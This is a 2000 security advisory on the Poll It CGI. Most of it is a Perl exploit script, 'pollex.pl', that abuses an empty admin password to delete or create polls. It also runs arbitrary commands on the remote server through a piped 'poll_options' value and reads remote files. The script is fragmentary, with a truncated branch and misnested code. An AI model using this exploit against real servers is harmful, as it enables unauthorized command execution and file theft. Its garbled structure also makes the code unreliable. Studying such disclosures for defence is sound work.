Poll It CGI vulnerable to arbitrary command execution
6 Nov. 2000
Summary
Poll It allows easy hosting of online polls on websites. However, this CGI also enables remote attackers to execute any command they wish, under the security privileges of the user running the CGI (usually the user nobody).
Credit:
The information has been provided by Keelis.
if ($cmd eq "d")
{
$request = "?load=admin&admin_password=&action=delete_poll";
$success_msg = "current poll has been deleted\n\n";
make_request();
}
if ($cmd eq "e")
{
$request = "?load=admin&admin_password=&action=expire_poll";
$success_msg = "current poll has been expired\n\n";
make_request();
}
if ($cmd eq "c")
{
if (!defined($param))
{
print "you need to specify a voting topic for the new poll\n\n";
next;
}
$request = "?load=admin&admin_password=&action=create_new&new_pollaction=1&show_after=1&new_title=$param";
$success_msg = "created new poll with voting topic: \"$param\"\n\n";
make_request();
}
if ($cmd eq "a")
{
if (!defined($param))
{
print "you need to specify the text for the new voting option\n\n";
next;
}
$request = "?load=admin&admin_password=&action=add_option&add_option=$param";
$success_msg = "voting option added to current poll: \"$param\"\n\n";
make_request();
}
if ($cmd eq "g")
{
if (!defined($param))
{
print "you need to specify the command to be run\n\n";
next;
}
$request = "?load=admin&admin_password=&action=add_option&add_option=none&poll_options=$param%7C";
$success_msg = "command has been run on remote server: \"$param\"\n\n";
make_request();
}
if ($cmd eq "r")
{
if (!defined($param))
{
print "you need to specify the file to be read\n\n";
next;
}
if ($cmd eq "?" || $cmd eq "h" || $cmd eq "help")
{
print "\n? \t\tshow this help screen\n";
print "d \t\tdelete current poll\n";
print "e \t\texpire current poll\n";
print "c <param>\tcreate new poll using <param> as topic\n";
print "a <param>\tadd <param> to voting options\n";
print "r <param>\tread the file <param> in remote server\n";
print "g <param>\trun <param> in the remote server\n";
print "x \t\texit pollex.pl shell\n\n";
next;
}
if ($cmd eq "x")
{
print "\n";
last;
}
print "command not found. use \"?\" for help screen.\n\n";
}
sub make_request {
$request=~s/ /+/g;
$request=~s/\\/%5C/g;
$request=~s/\//%2F/g;
my @req=sendraw("GET $cgi_loc$request HTTP/1.1\r\nHost: $host\r\n\r\n");
$reqanswer=join('', @req);
if ($httpcode eq "200") {
print $success_msg if ($cmd ne "r");
} else {
if ($httpcode ne "404")
{
print "httpd returned an error code:\n\n";
print $reqanswer,"\n";
} else {
die "unexpected httpd error code 404. aborting...\n\n"
}
}
if ($cmd eq "r")
{ $reqanswer=substr($reqanswer, index($reqanswer, "\r\n\r\n")+4);
if (substr($reqanswer, 6, 15) eq "Template : File")
{
print "file \"$param\" not found or non-readable from cgi\n\n";
} else {
print $success_msg;
print $reqanswer,"\n";
}
}
next;
}
sub usage {
print "Usage: pollex.pl <host> <cgi_loc>\n\n";
print "\thost :\thost/ip where CGI resides\n";
print "\tcgi_loc:\tpath to the CGI (non-SSI version needed)\n\n";
exit(0);
}
